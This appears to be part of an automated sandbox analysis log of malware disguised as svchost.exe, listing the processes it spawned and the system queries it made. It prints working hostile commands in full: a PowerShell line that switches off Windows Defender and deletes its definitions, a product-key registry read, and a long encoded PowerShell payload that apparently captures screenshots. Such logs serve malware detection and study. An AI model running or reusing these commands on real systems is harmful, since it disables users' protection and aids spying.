Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic path win32_VideoController get name
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault

Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "powershell set-mppreference -disableintrusionpreventionsystem $true -disableioavprotection $true -disablerealtimemonitoring $true -disablescriptscanning $true -enablecontrolledfolderaccess disabled -enablenetworkprotection auditmode -force -mapsreporting disabled -submitsamplesconsent neversend && powershell set-mppreference -submitsamplesconsent 2 & "%programfiles%\windows defender\mpcmdrun.exe" -removedefinitions -all"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell set-mppreference -disableintrusionpreventionsystem $true -disableioavprotection $true -disablerealtimemonitoring $true -disablescriptscanning $true -enablecontrolledfolderaccess disabled -enablenetworkprotection auditmode -force -mapsreporting disabled -submitsamplesconsent neversend
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "powershell.exe -noprofile -executionpolicy bypass -encodedcommand jabzag8adqbyagmazqagad0aiabaaciadqakahuacwbpag4azwagafmaeqbzahqazqbtadsadqakahuacwbpag4azwagafmaeqbzahqazqbtac4aqwbvagwabablagmadabpag8abgbzac4arwblag4azqbyagkaywa7aa0acgb1ahmaaqbuagcaiabtahkacwb0aguabqauaeqacgbhahcaaqbuagcaowanaaoadqbzagkabgbnacaauwb5ahmadablag0algbxagkabgbkag8adwbzac4argbvahiabqbzadsadqakaa0acgbwahuaygbsagkaywagagmababhahmacwagafmaywbyaguazqbuahmaaabvahqadqakahsadqakacaaiaagacaacab1agiababpagmaiabzahqayqb0agkaywagaewaaqbzahqapabcagkadabtageacaa+acaaqwbhahaadab1ahiazqbtagmacgblaguabgbzacgakqanaaoaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaadgbhahiaiabyaguacwb1agwadabzacaapqagag4azqb3acaatabpahmadaa8aeiaaqb0ag0ayqbwad4akaapadsadqakacaaiaagacaaiaagacaaiab2ageacgagageababsafmaywbyaguazqbuahmaiaa9acaauwbjahiazqblag4algbbagwababtagmacgblaguabgbzadsadqakaa0acgagacaaiaagacaaiaagacaazgbvahiazqbhagmaaaagacgauwbjahiazqblag4aiabzagmacgblaguabgagagkabgagageababsafmaywbyaguazqbuahmakqanaaoaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagahqacgb5aa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagafiazqbjahqayqbuagcabablacaaygbvahuabgbkahmaiaa9acaacwbjahiazqblag4algbcag8adqbuagqacwa7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahuacwbpag4azwagacgaqgbpahqabqbhahaaiabiagkadabtageacaagad0aiabuaguadwagaeiaaqb0ag0ayqbwacgaygbvahuabgbkahmalgbxagkazab0aggalaagagiabwb1ag4azabzac4asablagkazwboahqakqapaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiab1ahmaaqbuagcaiaaoaecacgbhahaaaabpagmacwagagcacgbhahaaaabpagmacwagad0aiabhahiayqbwaggaaqbjahmalgbgahiabwbtaekabqbhagcazqaoagiaaqb0ag0ayqbwackakqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagagcacgbhahaaaabpagmacwauaemabwbwahkargbyag8abqbtagmacgblaguabgaoag4azqb3acaauabvagkabgb0acgaygbvahuabgbkahmalgbmaguazgb0acwaiabiag8adqbuagqacwauafqabwbwackalaagafaabwbpag4adaauaeuabqbwahqaeqasacaaygbvahuabgbkahmalgbtagkaegblackaowanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaacgblahmadqbsahqacwauaeeazabkacgakabcagkadabtageacaapagiaaqb0ag0ayqbwac4aqwbsag8abgblacgakqapadsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaywbhahqaywboacaakabfahgaywblahaadabpag8abgapaa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagac8alwagaegayqbuagqabablacaayqbuahkaiablahgaywblahaadabpag8abgbzacaaaablahiazqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaacgblahqadqbyag4aiabyaguacwb1agwadabzadsadqakacaaiaagacaafqanaaoafqanaaoaigbaaa0acganaaoaqqbkagqalqbuahkacablacaalqbuahkacablaeqazqbmagkabgbpahqaaqbvag4aiaakahmabwb1ahiaywblacaalqbsaguazgblahiazqbuagmazqbkaeeacwbzaguabqbiagwaaqblahmaia
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -noprofile -executionpolicy bypass -encodedcommand jabzag8adqbyagmazqagad0aiabaaciadqakahuacwbpag4azwagafmaeqbzahqazqbtadsadqakahuacwbpag4azwagafmaeqbzahqazqbtac4aqwbvagwabablagmadabpag8abgbzac4arwblag4azqbyagkaywa7aa0acgb1ahmaaqbuagcaiabtahkacwb0aguabqauaeqacgbhahcaaqbuagcaowanaaoadqbzagkabgbnacaauwb5ahmadablag0algbxagkabgbkag8adwbzac4argbvahiabqbzadsadqakaa0acgbwahuaygbsagkaywagagmababhahmacwagafmaywbyaguazqbuahmaaabvahqadqakahsadqakacaaiaagacaacab1agiababpagmaiabzahqayqb0agkaywagaewaaqbzahqapabcagkadabtageacaa+acaaqwbhahaadab1ahiazqbtagmacgblaguabgbzacgakqanaaoaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaadgbhahiaiabyaguacwb1agwadabzacaapqagag4azqb3acaatabpahmadaa8aeiaaqb0ag0ayqbwad4akaapadsadqakacaaiaagacaaiaagacaaiab2ageacgagageababsafmaywbyaguazqbuahmaiaa9acaauwbjahiazqblag4algbbagwababtagmacgblaguabgbzadsadqakaa0acgagacaaiaagacaaiaagacaazgbvahiazqbhagmaaaagacgauwbjahiazqblag4aiabzagmacgblaguabgagagkabgagageababsafmaywbyaguazqbuahmakqanaaoaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagahqacgb5aa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagafiazqbjahqayqbuagcabablacaaygbvahuabgbkahmaiaa9acaacwbjahiazqblag4algbcag8adqbuagqacwa7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahuacwbpag4azwagacgaqgbpahqabqbhahaaiabiagkadabtageacaagad0aiabuaguadwagaeiaaqb0ag0ayqbwacgaygbvahuabgbkahmalgbxagkazab0aggalaagagiabwb1ag4azabzac4asablagkazwboahqakqapaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiab1ahmaaqbuagcaiaaoaecacgbhahaaaabpagmacwagagcacgbhahaaaabpagmacwagad0aiabhahiayqbwaggaaqbjahmalgbgahiabwbtaekabqbhagcazqaoagiaaqb0ag0ayqbwackakqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagagcacgbhahaaaabpagmacwauaemabwbwahkargbyag8abqbtagmacgblaguabgaoag4azqb3acaauabvagkabgb0acgaygbvahuabgbkahmalgbmaguazgb0acwaiabiag8adqbuagqacwauafqabwbwackalaagafaabwbpag4adaauaeuabqbwahqaeqasacaaygbvahuabgbkahmalgbtagkaegblackaowanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaacgblahmadqbsahqacwauaeeazabkacgakabcagkadabtageacaapagiaaqb0ag0ayqbwac4aqwbsag8abgblacgakqapadsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaywbhahqaywboacaakabfahgaywblahaadabpag8abgapaa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagac8alwagaegayqbuagqabablacaayqbuahkaiablahgaywblahaadabpag8abgbzacaaaablahiazqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaacgblahqadqbyag4aiabyaguacwb1agwadabzadsadqakacaaiaagacaafqanaaoafqanaaoaigbaaa0acganaaoaqqbkagqalqbuahkacablacaalqbuahkacablaeqazqbmagkabgbpahqaaqbvag4aiaakahmabwb1ahiaywblacaalqbsaguazgblahiazqbuagmazqbkaeeacwbzaguabqbiagwaaqblahmaiab
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "powershell set-mppreference -disableintrusionpreventionsystem $true -disableioavprotection $true -disablerealtimemonitoring $true -disablescriptscanning $true -enablecontrolledfolderaccess disabled -enablenetworkprotection auditmode -force -mapsreporting disabled -submitsamplesconsent neversend && powershell set-mppreference -submitsamplesconsent 2 & "%programfiles%\windows defender\mpcmdrun.exe" -removedefinitions -all"	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "powershell.exe -noprofile -executionpolicy bypass -encodedcommand jabzag8adqbyagmazqagad0aiabaaciadqakahuacwbpag4azwagafmaeqbzahqazqbtadsadqakahuacwbpag4azwagafmaeqbzahqazqbtac4aqwbvagwabablagmadabpag8abgbzac4arwblag4azqbyagkaywa7aa0acgb1ahmaaqbuagcaiabtahkacwb0aguabqauaeqacgbhahcaaqbuagcaowanaaoadqbzagkabgbnacaauwb5ahmadablag0algbxagkabgbkag8adwbzac4argbvahiabqbzadsadqakaa0acgbwahuaygbsagkaywagagmababhahmacwagafmaywbyaguazqbuahmaaabvahqadqakahsadqakacaaiaagacaacab1agiababpagmaiabzahqayqb0agkaywagaewaaqbzahqapabcagkadabtageacaa+acaaqwbhahaadab1ahiazqbtagmacgblaguabgbzacgakqanaaoaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaadgbhahiaiabyaguacwb1agwadabzacaapqagag4azqb3acaatabpahmadaa8aeiaaqb0ag0ayqbwad4akaapadsadqakacaaiaagacaaiaagacaaiab2ageacgagageababsafmaywbyaguazqbuahmaiaa9acaauwbjahiazqblag4algbbagwababtagmacgblaguabgbzadsadqakaa0acgagacaaiaagacaaiaagacaazgbvahiazqbhagmaaaagacgauwbjahiazqblag4aiabzagmacgblaguabgagagkabgagageababsafmaywbyaguazqbuahmakqanaaoaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagahqacgb5aa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagafiazqbjahqayqbuagcabablacaaygbvahuabgbkahmaiaa9acaacwbjahiazqblag4algbcag8adqbuagqacwa7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahuacwbpag4azwagacgaqgbpahqabqbhahaaiabiagkadabtageacaagad0aiabuaguadwagaeiaaqb0ag0ayqbwacgaygbvahuabgbkahmalgbxagkazab0aggalaagagiabwb1ag4azabzac4asablagkazwboahqakqapaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiab1ahmaaqbuagcaiaaoaecacgbhahaaaabpagmacwagagcacgbhahaaaabpagmacwagad0aiabhahiayqbwaggaaqbjahmalgbgahiabwbtaekabqbhagcazqaoagiaaqb0ag0ayqbwackakqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagagcacgbhahaaaabpagmacwauaemabwbwahkargbyag8abqbtagmacgblaguabgaoag4azqb3acaauabvagkabgb0acgaygbvahuabgbkahmalgbmaguazgb0acwaiabiag8adqbuagqacwauafqabwbwackalaagafaabwbpag4adaauaeuabqbwahqaeqasacaaygbvahuabgbkahmalgbtagkaegblackaowanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaacgblahmadqbsahqacwauaeeazabkacgakabcagkadabtageacaapagiaaqb0ag0ayqbwac4aqwbsag8abgblacgakqapadsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaywbhahqaywboacaakabfahgaywblahaadabpag8abgapaa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagac8alwagaegayqbuagqabablacaayqbuahkaiablahgaywblahaadabpag8abgbzacaaaablahiazqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaacgblahqadqbyag4aiabyaguacwb1agwadabzadsadqakacaaiaagacaafqanaaoafqanaaoaigbaaa0acganaaoaqqbkagqalqbuahkacablacaalqbuahkacablaeqazqbmagkabgbpahqaaqbvag4aiaakahmabwb1ahiaywblacaalqbsaguazgblahiazqbuagmazqbkaeeacwbzaguabqbiagwaaqblahmaia	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell set-mppreference -disableintrusionpreventionsystem $true -disableioavprotection $true -disablerealtimemonitoring $true -disablescriptscanning $true -enablecontrolledfolderaccess disabled -enablenetworkprotection auditmode -force -mapsreporting disabled -submitsamplesconsent neversend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -noprofile -executionpolicy bypass -encodedcommand jabzag8adqbyagmazqagad0aiabaaciadqakahuacwbpag4azwagafmaeqbzahqazqbtadsadqakahuacwbpag4azwagafmaeqbzahqazqbtac4aqwbvagwabablagmadabpag8abgbzac4arwblag4azqbyagkaywa7aa0acgb1ahmaaqbuagcaiabtahkacwb0aguabqauaeqacgbhahcaaqbuagcaowanaaoadqbzagkabgbnacaauwb5ahmadablag0algbxagkabgbkag8adwbzac4argbvahiabqbzadsadqakaa0acgbwahuaygbsagkaywagagmababhahmacwagafmaywbyaguazqbuahmaaabvahqadqakahsadqakacaaiaagacaacab1agiababpagmaiabzahqayqb0agkaywagaewaaqbzahqapabcagkadabtageacaa+acaaqwbhahaadab1ahiazqbtagmacgblaguabgbzacgakqanaaoaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaadgbhahiaiabyaguacwb1agwadabzacaapqagag4azqb3acaatabpahmadaa8aeiaaqb0ag0ayqbwad4akaapadsadqakacaaiaagacaaiaagacaaiab2ageacgagageababsafmaywbyaguazqbuahmaiaa9acaauwbjahiazqblag4algbbagwababtagmacgblaguabgbzadsadqakaa0acgagacaaiaagacaaiaagacaazgbvahiazqbhagmaaaagacgauwbjahiazqblag4aiabzagmacgblaguabgagagkabgagageababsafmaywbyaguazqbuahmakqanaaoaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagahqacgb5aa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagafiazqbjahqayqbuagcabablacaaygbvahuabgbkahmaiaa9acaacwbjahiazqblag4algbcag8adqbuagqacwa7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahuacwbpag4azwagacgaqgbpahqabqbhahaaiabiagkadabtageacaagad0aiabuaguadwagaeiaaqb0ag0ayqbwacgaygbvahuabgbkahmalgbxagkazab0aggalaagagiabwb1ag4azabzac4asablagkazwboahqakqapaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiab1ahmaaqbuagcaiaaoaecacgbhahaaaabpagmacwagagcacgbhahaaaabpagmacwagad0aiabhahiayqbwaggaaqbjahmalgbgahiabwbtaekabqbhagcazqaoagiaaqb0ag0ayqbwackakqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagagcacgbhahaaaabpagmacwauaemabwbwahkargbyag8abqbtagmacgblaguabgaoag4azqb3acaauabvagkabgb0acgaygbvahuabgbkahmalgbmaguazgb0acwaiabiag8adqbuagqacwauafqabwbwackalaagafaabwbpag4adaauaeuabqbwahqaeqasacaaygbvahuabgbkahmalgbtagkaegblackaowanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaacgblahmadqbsahqacwauaeeazabkacgakabcagkadabtageacaapagiaaqb0ag0ayqbwac4aqwbsag8abgblacgakqapadsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaywbhahqaywboacaakabfahgaywblahaadabpag8abgapaa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagac8alwagaegayqbuagqabablacaayqbuahkaiablahgaywblahaadabpag8abgbzacaaaablahiazqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaacgblahqadqbyag4aiabyaguacwb1agwadabzadsadqakacaaiaagacaafqanaaoafqanaaoaigbaaa0acganaaoaqqbkagqalqbuahkacablacaalqbuahkacablaeqazqbmagkabgbpahqaaqbvag4aiaakahmabwb1ahiaywblacaalqbsaguazgblahiazqbuagmazqbkaeeacwbzaguabqbiagwaaqblahmaiab

Source: C:\ProgramData\Microsoft\hacn.exe

Code function: 13_2_00007FFB01EC7CA0 PyArg_ParseTuple,PyExc_TypeError,PyErr_SetString,GetSecurityDescriptorDacl,free,SetSecurityDescriptorDacl,GetSecurityDescriptorOwner,free,GetSecurityDescriptorGroup,free,free,free,

13_2_00007FFB01EC7CA0

Source: C:\ProgramData\Microsoft\hacn.exe

Code function: 13_2_00007FFB01EC8B20 _PyArg_ParseTuple_SizeT,PyErr_Clear,_PyArg_ParseTuple_SizeT,PyErr_Clear,_PyArg_ParseTuple_SizeT,PySequence_Check,PyExc_TypeError,PyErr_SetString,PySequence_Size,PySequence_Tuple,_PyArg_ParseTuple_SizeT,_Py_Dealloc,AllocateAndInitializeSid,PyExc_ValueError,PyErr_SetString,_Py_NewReference,malloc,memset,memcpy,

13_2_00007FFB01EC8B20

Source: C:\Users\user\Desktop\svchost.exe

Code function: 0_2_00007FF6711A88D0 cpuid

0_2_00007FF6711A88D0

Source: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe

Code function: GetLocaleInfoW,GetNumberFormatW,

8_2_00BBD0AB

Source: C:\Users\user\Desktop\svchost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI57402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\svchost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI57402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\svchost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI57402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\svchost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI57402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\svchost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI57402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\svchost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI57402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\svchost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI57402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\svchost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI57402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\svchost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI57402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\svchost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI57402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\svchost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI57402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\svchost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI57402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\svchost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI57402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\svchost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI57402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\svchost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI57402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\svchost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI57402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\svchost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI57402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\svchost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI57402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\svchost.exe	Queries volume information: C:\Users\user\Desktop\svchost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\svchost.exe	Queries volume information: C:\Users\user\Desktop\svchost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\svchost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI57402 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\svchost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI57402 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\svchost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI57402 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\svchost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI57402 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\svchost.exe	Queries volume information: C:\Users\user\Desktop VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\svchost.exe	Queries volume information: C:\Users\user\Desktop\svchost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\svchost.exe	Queries volume information: C:\Users\user\Desktop\svchost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\svchost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI57402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\svchost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI57402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\svchost.exe	Queries volume information: C:\Users\user\Desktop\svchost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\svchost.exe	Queries volume information: C:\Users\user\Desktop\svchost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\svchost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI57402 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\svchost.exe	Queries volume information: C:\Users\user\Desktop\svchost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\svchost.exe	Queries volume information: C:\Users\user\Desktop\svchost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\svchost.exe	Queries volume information: C:\Users\user\Desktop\svchost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\svchost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI57402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\svchost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI57402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\svchost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI57402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\svchost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI57402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\svchost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI57402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\svchost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI57402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\svchost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI57402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\svchost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI57402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\svchost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI57402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\svchost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI57402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\svchost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI57402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\svchost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI57402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\svchost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI57402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\svchost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI57402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\svchost.exe	Queries volume information: C:\Users\user\Desktop\svchost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\svchost.exe	Queries volume information: C:\Users\user\Desktop\svchost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\svchost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI57402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\svchost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI57402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\svchost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI57402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\svchost.exe	Queries volume information: C:\Users\user\Desktop\svchost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\svchost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI57402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\svchost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI57402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\svchost.exe	Queries volume information: C:\Users\user\Desktop\svchost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\svchost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI57402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\svchost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI57402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\svchost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI57402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\svchost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI57402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\svchost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI57402\base_library.zip VolumeInformation	Jump to behavior
